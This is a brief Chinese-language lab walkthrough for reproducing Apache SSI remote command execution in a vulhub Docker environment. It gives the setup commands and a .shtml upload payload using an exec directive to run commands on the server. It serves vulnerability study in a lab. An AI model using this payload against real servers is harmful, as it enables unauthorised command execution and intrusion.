漏洞原理:Apache服务器在上传文件时,很多时候不允许上传php文件,如果Apache服务器开启了SSI与CGI支持,可以上传一个shtml文件,并利用<!--#exec cmd="id"> -->语法执行任意命令。
进入环境目录:cd vulhub-master/httpd/ssi-rce/
启动环境:docker-compose build docker-compose up -d
访问地址:复现漏洞的IP地址:8080/upload.php
没有.shtml文件的可以自己写入一个shell.shtml文件,内容写入:
<!--#exec cmd="id"> -->
上传.shtml文件:
访问查看:
复现成功!小伙伴们自行尝试吧~😊